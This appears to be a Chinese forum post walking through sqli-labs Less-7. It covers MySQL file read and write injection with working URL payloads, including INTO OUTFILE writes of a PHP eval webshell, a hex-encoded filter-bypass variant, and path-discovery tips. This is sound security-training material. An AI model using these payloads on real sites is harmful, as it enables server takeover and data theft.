基于sqli-labs Less-7 的sql高权读写注入详解

打印 上一主题 下一主题

主题 517|帖子 517|积分 1551

1. MySQL高权限读写简介

1.1 前置知识

数据库的高权用户对服务器上的文件进行读取写入操纵,从而可以进行写入一句话木马来获得服务器权限或者读取服务器上的配置型文件等注入行为。
  1. select load_file ('d:/w.txt'); # 读取w.txt
  2. select 'xxx' into outfile 'd:/1.txt'; # 将xxx写入1.txt,1.txt不存在则自动创建文件
复制代码
1.2 读写注入示例

字段数判定和注入点判定略,作信息收集看用户名是root后可以尝试高权注入
  1. /?id=1 union select 1,load_file ('d:/w.txt'),3
  2. /?id=1 union select 1,'xxx',3 into outfile 'd:/1.txt'
复制代码
注意写路径的时候\的时候要写两个,前一个为转义字符,作用是避免被认为是换行而报错,或者直接写/即可。
1.3 写入后门代码

给出写入后门代码示例
  1. /?id=1 union select 1,'<?php eval($_POST[x]);?>',3 into outfile '当前网站路径/1.php'
复制代码
如果存在过滤,可以把用hex编码一下,不用单引号,即:
  1. /?id=1 union select 1,3c3f706870206576616c28245f504f53545b2778275d293f3e,3 into outfile '当前网站路径/1.php'
复制代码
1.4 路径获取

load_file与outfile函数都必要绝对路径,获取网站绝对路径的方法有以下几种:

  • load_file常用路径直接读取配置文件,得到网站路径
  • 扫描网站目录,尝试寻找遗留/phpinfo.php的文件
  • 输入错误信息,看是否会报错返回路径
  • 爆破路径
2. 黑盒测试

2.1 判定闭合类型

判定闭合类型为((''))
  1. /?id=1' and '1'='1  You are in
  2. /?id=1' --+ 报错
  3. /?id=1') and ('1')=('1 You are in
  4. /?id=1') --+ 报错
  5. /?id=1')) and (('1'))=(('1 You are in
  6. /?id=1')) --+ You are in
复制代码
2.2 写入后门代码

写入后门代码
注意

  • 如果你的靶场搭在物理机上,后门代码会被windows扫描并删除,并不是上传失败
  • 如果上传失败,大概是secure_file_priv配置问题,请参考第三模块
  1. /?id=1')) union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php'--+
复制代码
之后利用蚁剑毗连后门即可
3. secure_file_priv限制

3.1 secure_file_priv简介

高版本的MYSQL添加了一个新的特性secure_file_priv,secure_file_priv 是 MySQL 中用于限制文件操纵的体系变量,主要用于控制和限制数据库服务器对文件的访问权限。具体来说,它限制 LOAD DATA INFILE、SELECT INTO OUTFILE 等语句的操纵范围,确保数据库文件操纵只能在特定的目录中进行,进而增强体系的安全性。
  1. linux
  2. /etc/my.cnf
  3.         [mysqld]
  4.         secure_file_priv=
  5. win
  6. my.ini
  7.         [mysqld]
  8.         secure_file_priv=
复制代码
  1. 1. secure_file_priv=""                          代表对文件读写没有限制
  2. 2. secure_file_priv="NULL"                      代表不能进行文件读写
  3. 3. secure_file_priv="d :/phpstudy /mysql/data"  代表只能对该路径下文件进行读写
复制代码
3.2 修改secure_file_priv配置

在做Less-7时,出现读写注入失败的问题,大概就是由于secure_file_priv克制了读写
想要知道你的secure_file_priv设置,执行以下sql语句:
  1. SHOW VARIABLES LIKE 'secure_file_priv';
复制代码
若必要修改secure_file_priv,可以在phpstudy_pro\Extensions\MySQL5.7.26\my.ini的[mysqld]模块将它修改为无穷制,如果没有secure_file_priv项,可以自行写入。完成后重启mysql服务,应该可以正常解题了。
宇宙安全声明

本博客所提供的内容仅供学习与交流目标,全部文章、代码及相关资料仅用于提升网络安全知识水平。博主不对任何人因使用博客中提到的技术或工具而产生的任何结果负责。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

八卦阵

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表